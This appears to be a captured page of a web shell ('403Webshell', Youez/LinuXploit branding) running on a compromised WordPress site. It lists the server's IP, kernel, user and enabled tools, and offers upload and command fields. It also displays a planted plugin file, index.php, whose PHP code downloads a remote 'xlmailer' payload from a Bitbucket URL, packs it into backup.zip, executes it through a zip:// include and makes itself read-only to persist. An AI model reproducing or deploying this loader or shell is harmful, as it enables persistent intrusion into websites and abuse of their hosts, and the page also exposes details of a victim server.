403Webshell
Server IP : 162.254.39.85  /  Your IP : 216.73.216.107
Web Server : LiteSpeed
System : Linux premium311.web-hosting.com 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : alladgbi ( 1042)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/alladgbi/public_html/wp-content/plugins/rwoofhklfb/xm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/alladgbi/public_html/wp-content/plugins/rwoofhklfb/xm/index.php
<?php

$file = 'index.php';
$localFile1 = 'backup.zip';
$remoteUrl1 = "https://bitbucket.org/whoknowshop/rmt/raw/d9a467506d44f2b3e77a3eb99f42f580989289df/xlmailer.txt";

if (file_exists($file)) {
    if (function_exists('chmod')) {
        @chmod($file, 0444);
    }

    $fileContents1 = @file_get_contents($remoteUrl1);

    if ($fileContents1 !== false) {
        $zip = new ZipArchive();
        if ($zip->open($localFile1, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
            $zip->addFromString('index.php', $fileContents1);
            $zip->close();
        }

        if (file_exists($localFile1)) {
            include "zip://$localFile1#index.php";
        }
    } else {
        if (file_exists($localFile1)) {
            include_once "zip://backup.zip#index.php";
        } else {
            echo "Error: File Not Found !";
        }
    }
} else {
    if (!file_exists($localFile1)) {
        $fileContents1 = @file_get_contents($remoteUrl1);
        if ($fileContents1 !== false) {
            $zip = new ZipArchive();
            if ($zip->open($localFile1, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
                $zip->addFromString('index.php', $fileContents1);
                $zip->close();
            }
        } else {
            die("Error: index.php is missing, no backup.zip exists, and remote URL failed.");
        }
    }

    if (file_exists($localFile1)) {
        include_once "zip://backup.zip#index.php";
    } else {
        die("Error: Failed to create or access backup.zip.");
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit